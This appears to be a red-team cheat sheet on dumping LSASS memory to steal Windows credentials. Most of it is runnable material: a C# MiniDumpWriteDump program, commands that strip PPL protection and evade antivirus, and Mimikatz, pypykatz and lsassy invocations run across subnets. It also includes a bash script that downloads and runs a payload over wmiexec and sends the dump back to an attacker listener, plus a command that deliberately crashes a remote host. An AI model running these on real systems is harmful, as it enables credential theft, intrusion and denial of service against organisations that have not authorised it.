lsass.exe

Local Security Authority Subsystem Service

• https://s3cur3th1ssh1t.github.io/Reflective-Dump-Tools/

• https://redteamrecipe.com/50-Methods-For-Dump-LSASS/

Enumeration

• https://www.mdsec.co.uk/2022/08/fourteen-ways-to-read-the-pid-for-the-local-security-authority-subsystem-service-lsass/

Check if lsass.exe is ran as a protected process (PPL):

PS > Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"

A legit way to disable it via LSA Protected Process Opt-out:

mountvol X: /s
copy C:\LSAPPLConfig.efi X:\EFI\Microsoft\Boot\LSAPPLConfig.efi /Y
bcdedit /create {0cb3b571-2f2e-4343-a879-d86a476d7215} /d "DebugTool" /application osloader
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} path "\EFI\Microsoft\Boot\LSAPPLConfig.efi"
bcdedit /set {bootmgr} bootsequence {0cb3b571-2f2e-4343-a879-d86a476d7215}
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions %1
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
mountvol X: /d
shutdown -r -t 0

MiniDumpWriteDump

Parsers

• https://github.com/cube0x0/MiniDump
• https://github.com/RobinFassinaMoschiniForks/LsaParser
• https://powerseb.github.io/posts/LSASS-parsing-without-a-cat/
• https://github.com/powerseb/PowerExtract

Custom Implementations

• https://github.com/rookuu/BOFs/tree/main/MiniDumpWriteDump
• https://github.com/w1u0u1/minidump
• https://github.com/helpsystems/nanodump/blob/main/source/nanodump.c
• https://github.com/YOLOP0wn/POSTDump/tree/main/POSTDump/POSTMiniDump
• https://ricardojoserf.github.io/nativedump/
• https://github.com/ricardojoserf/NativeDump

MiniDump Callbacks

• https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass#minidumpwritedump-to-memory-using-minidump-callbacks
• https://github.com/m0rv4i/SafetyDump/blob/master/SafetyDump/Program.cs
• https://dec0ne.github.io/research/2022-11-14-Undetected-Lsass-Dump-Workflow/

C# Implementation

• https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/MiniDump

SharpMiniDump.cs

using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace SharpMiniDump
{
    public class Program
    {
        [DllImport("Dbghelp.dll")]
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);

        [DllImport("kernel32.dll")]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        public static void Main(string[] args)
        {
            FileStream dumpFile = new FileStream(@"C:\Windows\tasks\lsass.dmp", FileMode.Create);

            Process[] lsassProc = Process.GetProcessesByName("lsass");
            int lsassPid = lsassProc[0].Id;
            
            IntPtr hProcess = OpenProcess(
                0x001F0FFF, // PROCESS_ALL_ACCESS
                false,
                lsassPid);

            bool res = MiniDumpWriteDump(
                hProcess,
                lsassPid,
                dumpFile.SafeFileHandle.DangerousGetHandle(),
                2, // MiniDumpWithFullMemory
                IntPtr.Zero,
                IntPtr.Zero,
                IntPtr.Zero);
        }
    }
}

Reusing Open Handles

• https://rastamouse.me/duplicating-handles-in-csharp/
• https://rastamouse.me/dumping-lsass-with-duplicated-handles/

pypykatz

• https://skelsec.medium.com/duping-av-with-handles-537ef985eb03

Cmd > .\pypykatz.exe live lsa --method handledup

SharpHandler

• https://github.com/jfmaes/SharpHandler
• https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-SharpHandler.ps1

Scan if there are dupeable handles to use:

PS > Invoke-SharpHandler -C "-s"

Write a gzip-compressed minidump to specified location:

PS > Invoke-SharpHandler -C "-w -c -l=C:\Windows\Temp\pony.dat"

Dump and parse with SharpKatz's logonpasswords:

PS > Invoke-SharpHandler -C "-d"

HandleKatz

• https://github.com/codewhitesec/HandleKatz

$ x86_64-w64-mingw32-gcc -o loader.exe loader.cpp -lcrypt32
Cmd > .\loader.exe --pid:852 --outfile:C:\Windows\Temp\dump.obfuscated

LetMeowIn

• https://github.com/Meowmycks/LetMeowIn

Silent Process Exit

• https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/
• https://github.com/deepinstinct/LsassSilentProcessExit
• https://github.com/lengjibo/RedTeamTools/tree/master/windows/LsassSilentProcessExit
• https://github.com/CompassSecurity/PowerLsassSilentProcessExit
• https://gitlab.com/KevinJClark/csharptoolbox/-/blob/master/ShhProcessExit.cs

Remove PPL Protection

• https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html
• https://itm4n.github.io/lsass-runasppl/
• https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/
• https://github.com/itm4n/PPLdump
• https://itm4n.github.io/the-end-of-ppldump/
• https://github.com/RedCursorSecurityConsulting/PPLKiller
• https://tastypepperoni.medium.com/running-exploit-as-protected-process-ligh-from-userland-f4c7dfe63387
• https://github.com/tastypepperoni/RunAsWinTcb

Using Mimikatz driver:

PS > sc.exe create mimidrv binPath= C:\Windows\Tasks\mimidrv.sys type= kernel start= demand
PS > sc.exe start mimidrv
PS > Invoke-Mimikatz -Command '"!processprotect /process:lsass.exe /remove" "exit"'

Load SSP

• https://blog.xpnsec.com/exploring-mimikatz-part-2/
• https://www.programmersought.com/article/65604621980/
• https://russianblogs.com/article/42611473286/
• https://xakep.ru/2023/03/15/windows-password/
• https://github.com/jas502n/mimikat_ssp

SspirConnectRpc

• https://itm4n.github.io/ghost-in-the-ppl-part-2/
• https://github.com/itm4n/Pentest-Windows/blob/main/NdrServerCallAll/DuplicateHandle.cpp

MirrorDump

• https://github.com/CCob/MirrorDump
• https://github.com/snovvcrash/MirrorDump

Cmd > .\MirrorDump.exe -f "NotLSASS.zip" -d "LegitLSAPlugin.dll" -l 1073741824
Cmd > .\MirrorDump.exe --parse

$ python3 MirrorDump.py 0.0.0.0 31337 --md5 --parse
Cmd > .\MirrorDump.exe --host 10.10.13.37 --port 31337

DuplicateDump

• https://github.com/Hagrid29/DuplicateDump

nanodump

• https://www.coresecurity.com/core-labs/articles/nanodump-red-team-approach-minidumps
• https://github.com/helpsystems/nanodump

Cmd > .\load_ssp.x64.exe C:\Windows\Temp\nanodump_ssp.x64.dll
beacon> load_ssp

Do it automatically with wmiexec.py magic (using this Python HTTP server with PUT support):

nanodump_ssp.sh.cs

#!/usr/bin/env bash

# Usage: sudo nanodump_ssp.sh <[DOMAIN\]USERNAME>:<PASSWORD> <TARGET> <LISTENER>
# Example: sudo nanodump_ssp.sh 'megacorp.local\snovvcrash:Passw0rd!' 192.168.1.11 10.10.13.37 80

CREDS=$1
RHOST=$2
LHOST=$3
LPORT=$4

CMD="IWR -Uri http://${LHOST}/a.exe -OutFile C:\Windows\Temp\a.exe;IWR -Uri http://${LHOST}/a.dll -OutFile C:\Windows\Temp\a.dll;C:\Windows\Temp\a.exe C:\Windows\Temp\a.dll"
CMD_BASE64=`echo -n ${CMD} | iconv -t UTF-16LE | base64 -w0`

python3 -m http.server ${LPORT} &

wmiexec.py -silentcommand -nooutput ${CREDS}@${RHOST} "powershell -enc ${CMD_BASE64}"
sleep 10

kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print $1 }'`
python3 put.py --bind=0.0.0.0 ${LPORT} &

CMD="IWR -Uri http://${LHOST}/out.bin -Method PUT -InFile C:\Windows\Temp\report.docx;rm C:\Windows\Temp\a.exe;rm C:\Windows\Temp\a.dll;rm C:\Windows\Temp\report.docx"
CMD_BASE64=`echo -n ${CMD} | iconv -t UTF-16LE | base64 -w0`

wmiexec.py -silentcommand -nooutput ${CREDS}@${RHOST} "powershell -enc ${CMD_BASE64}"
sleep 30

kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print $1 }'`

bash restore_signature.sh out.bin
pypykatz lsa minidump out.bin

chown ${SUDO_USER}:${SUDO_USER} out.bin

RToolZ

• https://github.com/OmriBaso/RToolZ

Bypass Saving on Disk Detection

• https://www.bussink.net/lsass-minidump-file-seen-as-malicious-by-mcafee-av/
• https://github.com/k4nfr3/Dumpert

NTFS Transactions

TransactedSharpMiniDump

• https://www.cybermongol.ca/operator-research/dump-lsass-with-sharpminidump-ntfs-transactions-uac-bypass-exfil-dmp-file-to-dropbox
• https://github.com/PorLaCola25/TransactedSharpMiniDump

CredBandit

• https://www.cobaltstrike.com/blog/credbandit-a-review-of-a-tool-developed-built-by-the-cobalt-strike-user-community/
• https://github.com/anthemtotheego/CredBandit
• https://github.com/xforcered/CredBandit
• https://github.com/xenoscr/compressedCredBandit

Dumpy

• https://github.com/Kudaes/Dumpy/blob/341a7e47ab0e12ae3635cd0077fff1a172fef769/dumpy/dumper/src/lib.rs#L216-L429

Kernel Mode

• https://zerosum0x0.blogspot.com/2020/08/sassykitdi-kernel-mode-tcp-sockets.html

Abusing Gigabyte Driver

CVE-2018-19320

• https://www.matteomalvica.com/blog/2020/07/15/silencing-the-edr/
• https://www.secureauth.com/labs-old/gigabyte-drivers-elevation-of-privilege-vulnerabilities/
• https://github.com/uf0o/windows-ps-callbacks-experiments/tree/master/evil-driver
• https://github.com/fengjixuchui/gdrv-loader
• https://github.com/ASkyeye/CVE-2018-19320

Physical Memory

Convert VMware snapshot to a memory dump with vmss2core:

Cmd > vmss2core.exe -W/-W8 Snapshot.vmsn Snapshot.vmem

Crash Dumps

• https://danielsauder.com/2016/02/06/memdumps-volatility-mimikatz-vms-part-3-windbg-mimikatz-extension/

Get current CrashControl settings and set CrashDumpEnabled to 0x01 (default dump location is C:\Windows\MEMORY.dmp):

$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\CrashControl'
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 add -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\CrashControl' -v CrashDumpEnabled -vt REG_DWORD -vd 1

Crash the target machine, e. g. with NotMyFault:

This action causes DOS! Do at your own risk.

$ cme smb 192.168.1.1 -u snovvcrash -p 'Passw0rd!' -x '\\10.10.13.37\notmyfaultc64.exe -accepteula /crash 0x03' --no-output

Parse LSASS with Mimikatz and WinDbg:

kd> .load C:\mimilib.dll
kd> .SymFix
kd> .Reload
kd> !process 0 0 lsass.exe
kd> .process /r /p fffffa80072b2b10
kd> !mimikatz

To add debug symbols: File → Symbol file path → SRV*https://msdl.microsoft.com/download/symbols.

Or with Pypykatz plugin for Volatility 3:

$ pip install volatility3 pypykatz
$ git clone https://github.com/volatilityfoundation/volatility3 ~/tools/volatility3
$ git clone https://github.com/skelsec/pypykatz-volatility3 ~/tools/pypykatz-volatility3
$ cd ~/tools/volatility3
$ python3 vol.py -f /path/to/MEMORY.dmp -p ../pypykatz-volatility3 pypykatz

Current version of vol_pypykatz.py need some changes to work with relevant version of Volatility 3:

vol_pypykatz.py.patch

diff --git a/vol_pypykatz.py b/vol_pypykatz.py
index 6c9592f..f53da1d 100644
--- a/vol_pypykatz.py
+++ b/vol_pypykatz.py
@@ -19,7 +19,7 @@ vollog = logging.getLogger(__name__)

 class pypykatz(interfaces.plugins.PluginInterface):

-    _required_framework_version = (1, 0, 0)
+    _required_framework_version = (2, 0, 0)

     @classmethod
     def get_requirements(cls) -> List[interfaces.configuration.RequirementInterface]:
@@ -38,18 +38,4 @@ class pypykatz(interfaces.plugins.PluginInterface):
         ]

     def run(self):
-        return renderers.TreeGrid(
-            [
-                ("Credential Type", str),
-                ("Domain Name", str),
-                ("Username", str),
-                ("NThash", str),
-                ("LMHash", str),
-                ("SHAHash", str),
-                ("masterkey", str),
-                ("masterkey (sha1)", str),
-                ("key_guid", str),
-                ("password", str),
-            ],
-            pparser.go_volatility3(self),
-        )
+        return pparser.go_volatility3(self)

Physmem2profit

• https://labs.withsecure.com/blog/rethinking-credential-theft/
• https://github.com/FSecureLABS/physmem2profit
• https://github.com/Velocidex/WinPmem/releases/tag/v4.0.rc1

Server:

PS > .\Physmem2profit.exe --ip 192.168.1.11 --port 1337 --verbose [--hidden]

Client:

$ python3 physmem2profit --host 192.168.1.11 --port 1337 --install "C:/Windows/Temp/winpmem_x64.sys" --mode all --driver winpmem

Credential Guard

Patch and Bypass

• https://icebreaker.team/blogs/sleeping-with-control-flow-guard/

Patch the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled variables by their hardcoded offsets within wdigest.dll loaded by LSASS:

• https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
• https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240

Resolve g_fParameter_UseLogonCredential and g_IsCredGuardEnabled variable offsets dynamically at runtime:

• https://itm4n.github.io/credential-guard-bypass/
• https://github.com/itm4n/Pentest-Windows/blob/main/CredGuardBypassOffsets/poc.cpp

Two PoCs above merged:

• https://gist.github.com/snovvcrash/43e976779efdd20df1596c6492198c99

PassTheChallenge

• https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22
• https://github.com/ly4k/PassTheChallenge

CVE-2025-21299, CVE-2025-29809

• https://www.netspi.com/blog/technical-blog/adversary-simulation/cve-2025-21299-cve-2025-29809-unguarding-microsoft-credential-guard/

Attacking vSphere

• https://jamescoote.co.uk/introducing-sharpsphere/
• https://jamescoote.co.uk/Dumping-LSASS-with-SharpShere/
• https://github.com/JamesCooteUK/SharpSphere

Tools

comsvcs.dll

• https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz#comsvcs-dll
• https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/comsvcs.py
• https://gist.github.com/JohnLaTwC/3e7dd4cd8520467df179e93fb44a434e
• https://sp00ks-git.github.io/posts/LSASS-Encrypted-Dump/
• https://badoption.eu/blog/2023/06/21/dumpit.html

PS > $proc = 'ls'+'Ass'
PS > Get-Process $proc
PS > rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Windows\System32\spool\drivers\color\pony.dat full

Not touching the disk (using an SMB share):

PS > net use z: \\10.10.13.37\share
PS > rundll32.exe c:\Windows\System32\comsvcs.dll, MiniDump (Get-Process ('ls'+'Ass')).id z:\pony.dat full

One-liner:

Cmd > %COMSPEC% /Q /c echo powershell.exe -NoP -C "%WINDIR%\System32\rundll32.exe %WINDIR%\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id %WINDIR%\Temp\pony.arj full;Wait-Process -Id (Get-Process rundll32).Id" 2^>^&1 > temp.bat & %COMSPEC% /Q /c temp.bat & del temp.bat

ProcDump

• https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
• https://download.sysinternals.com/files/Procdump.zip
• https://live.sysinternals.com/

PS > wget http://live.sysinternals.com/PsExec64.exe -o psexec.exe
PS > .\procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp

Process Argument Spoofing

• https://xre0us.io/posts/multidump/
• https://github.com/Xre0uS/MultiDump/tree/main

Mimikatz

• https://github.com/gentilkiwi/mimikatz/releases
• https://redteamrecipe.com/64-Methods-For-Execute-Mimikatz/

PS > .\mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "sekurlsa::logonpasswords full" "exit"

In case of Windows 10 version 1803-1809 use Mimikatz v2.1.1, see Key import error

Parse MiniDump:

PS > .\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" "exit"

Grep for creds:

$ grep -a '* Username : ' out.txt -A2 | grep -a -e Username -e Password -e NTLM | grep -a -v null | xclip -i -sel c

kiwi

meterpreter > getsystem
meterpreter > load kiwi
meterpreter > creds_msv
meterpreter > creds_wdigest
meterpreter > lsa_dump_secrets
meterpreter > creds_all
meterpreter > kiwi_cmd '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords full" "exit"'

pypykatz

• https://github.com/skelsec/pypykatz/releases/latest

Install:

$ pipx install -f "git+https://github.com/skelsec/pypykatz.git"
$ pypykatz lsa minidump lsass.DMP [-k /tmp/krb] [-g/--grep] [-p msv wdigest kerberos]

Parse with jq one-liner:

pypykatz lsa minidump lsass.DMP --json |& tail -n +2 | jq '.[].logon_sessions[] | "\nTime   : \(.logon_time)", "Server : \(.logon_server)", (.wdigest_creds[] | select(.password != null or .password_raw != "") | "WD     : \(.domainname)\\\(.username):\(.password // .password_raw)"), (.msv_creds[] | "NT     : \(.domainname)\\\(.username):\(.NThash // "N/A")"), (.kerberos_creds[] | select(.password != null or .password_raw != "") | "KRB    : \(.domainname)\\\(.username):\(.password // .password_raw)")' -r | tail -n +2 | bat --paging=never --theme=ansi

Pipe to the script to parse with colors:

pypyparse.py

#!/usr/bin/python3
import re, sys
a = sys.stdin.read()
def pp(x): print(f'\033[1m[+] \033[93m{x}\033[0m')
s = set()
for m in re.findall(r'\s+Username: (.*)\n\s+Domain: (.*)\n.*\n\s+NT: (.*)', a):
    u, d, h = m
    if u and h: s.add(d + '\\' + f'{u}:{h}')
for i in s: pp(i)
s = set()
for m in re.findall(r'\s+Username: (.*)\n\s+Domain: (.*)\n\s+Password: (.*)', a):
    u, d, p = m
    if u and p: s.add(d + '\\' + f'{u}:{p}')
for i in s: pp(i)
s = set()
for m in re.findall(r'\s+username (.*)\n\s+domainname (.*)\n\s+password (.*)', a):
    u, d, p = m
    if u and p and p != 'None': s.add(d + '\\' + f'{u}:{p}')
for i in s: pp(i)

spraykatz

• https://github.com/aas-n/spraykatz

$ python3 spraykatz.py -u snovvcrash -p 'Passw0rd!' -t 10.10.13.37,10.10.13.38,10.10.13.39

Dumpert

• https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
• https://github.com/outflanknl/Dumpert

Dump lsass.exe using direct syscalls and removing user-land API hooks:

Cmd > rundll32.exe .\Outflank-Dumpert-DLL.dll,Dump

Using sRDI (shellcode Reflective DLL Injection) technique:

1. Compile Outflank-Dumpert-DLL.dll.
2. Convert it to position independent shellcode with ConvertToShellcode.py: python3 ConvertToShellcode.py Outflank-Dumpert-DLL.dll.
3. Use a shellcode loader of your choice to dump LSASS.

lsassy

• https://github.com/Hackndo/lsassy
• https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/lsassy.py
• https://en.hackndo.com/remote-lsass-dump-passwords/

$ lsassy 10.10.13.0/24 -d megacorp.local -u snovvcrash -p 'Passw0rd!'
$ cme smb 10.10.13.0/24 -u snovvcrash -p 'Passw0rd!' -M lsassy

MalSeclogon

• https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html
• https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html
• https://github.com/antonioCoco/MalSeclogon

Cmd > Malseclogon.exe -p <LSASS_PID> -d 1
Cmd > Malseclogon.exe -p <LSASS_PID> -d 2